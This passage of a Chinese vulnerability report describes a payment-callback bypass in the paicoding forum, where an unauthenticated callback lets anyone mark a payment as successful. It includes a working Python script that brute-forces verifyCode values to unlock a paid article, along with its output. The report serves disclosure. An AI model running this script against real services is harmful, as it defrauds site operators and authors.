支付服务把 verifyCode、payId、succeed 三个参数原样取出:

// paicoding-service/src/main/java/com/github/paicoding/forum/service/pay/service/integration/email/EmailPayIntegration.java:58-62    commit 6b85f5c327
    public PayCallbackBo payCallback(HttpServletRequest request) {
        String outTradeNo = request.getParameter("verifyCode");
        Long payId = Long.parseLong(request.getParameter("payId"));
        PayStatusEnum payStatus = Objects.equals("true", request.getParameter("succeed")) ? PayStatusEnum.SUCCEED : PayStatusEnum.FAIL;

updatePayStatus 只比对记录中的 verifyCode,不校验调用方身份,因此枚举出计数即可把记录置为成功。

复现环境搭建

同第 1 节。

复现过程

脚本如下:

import concurrent.futures, httpx, time

BASE = 'http://127.0.0.1:18070'
SECRET = 'PAYBYPASS_SECRET_77'

admin = httpx.Client(base_url=BASE, timeout=20)
admin.post('/api/admin/login', data={'username': 'admin', 'password': 'admin'})
admin.post('/user/api/saveUserInfo', json={'userId': 1, 'userName': '管理员',
                                          'payCode': {'email': 'admin@paicoding.example'}})
slug = 'paidemail%d' % int(time.time())
r = admin.post('/article/api/post', json={
    'articleType': 'BLOG', 'source': 2, 'title': 'paid-email-demo', 'urlSlug': slug,
    'content': '<p>' + 'C' * 600 + SECRET + '</p>', 'categoryId': 1, 'readType': 4,
    'payWay': 'email', 'payAmount': 1, 'actionType': 'post', 'tagIds': [1], 'summary': 'p'})
aid = r.json()['result']['articleId']
print('[victim] paid article id=%s slug=%s payWay=email' % (aid, slug))

att = httpx.Client(base_url=BASE, timeout=20)
att.post('/login/register', data={'username': 'payleech', 'password': 'Pay@12345',
                                  'starNumber': '01040', 'displayName': 'payleech'})
att.post('/login/username', data={'username': 'payleech', 'password': 'Pay@12345'})
pay = att.get('/article/api/pay/toPay', params={'articleId': aid}).json()['result']
pay_id = pay['payId']
print('[attacker] toPay -> payId=%s payStatus=%s payWay=%s' % (pay_id, pay['payStatus'], pay['payWay']))

def probe(n):
    code = 'EM%06d-%s' % (n, pay_id)
    rr = httpx.get(BASE + '/article/api/pay/callback',
                   params={'verifyCode': code, 'payId': pay_id, 'succeed': 'true'}, timeout=5)
    if rr.status_code == 200 and rr.json().get('result') is True:
        return code
    return None

found = None
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as ex:
    for res in ex.map(probe, range(0, 2000)):
        if res:
            found = res
            break
print('[attacker] matched verifyCode=%s' % found)

anon = httpx.Client(base_url=BASE, timeout=20)
print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text))
print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text))

输出如下:

[victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email
[attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email
[attacker] matched verifyCode=EM000012-2631610238296066
[anonymous] page contains secret before: False
[attacker] page contains secret now: True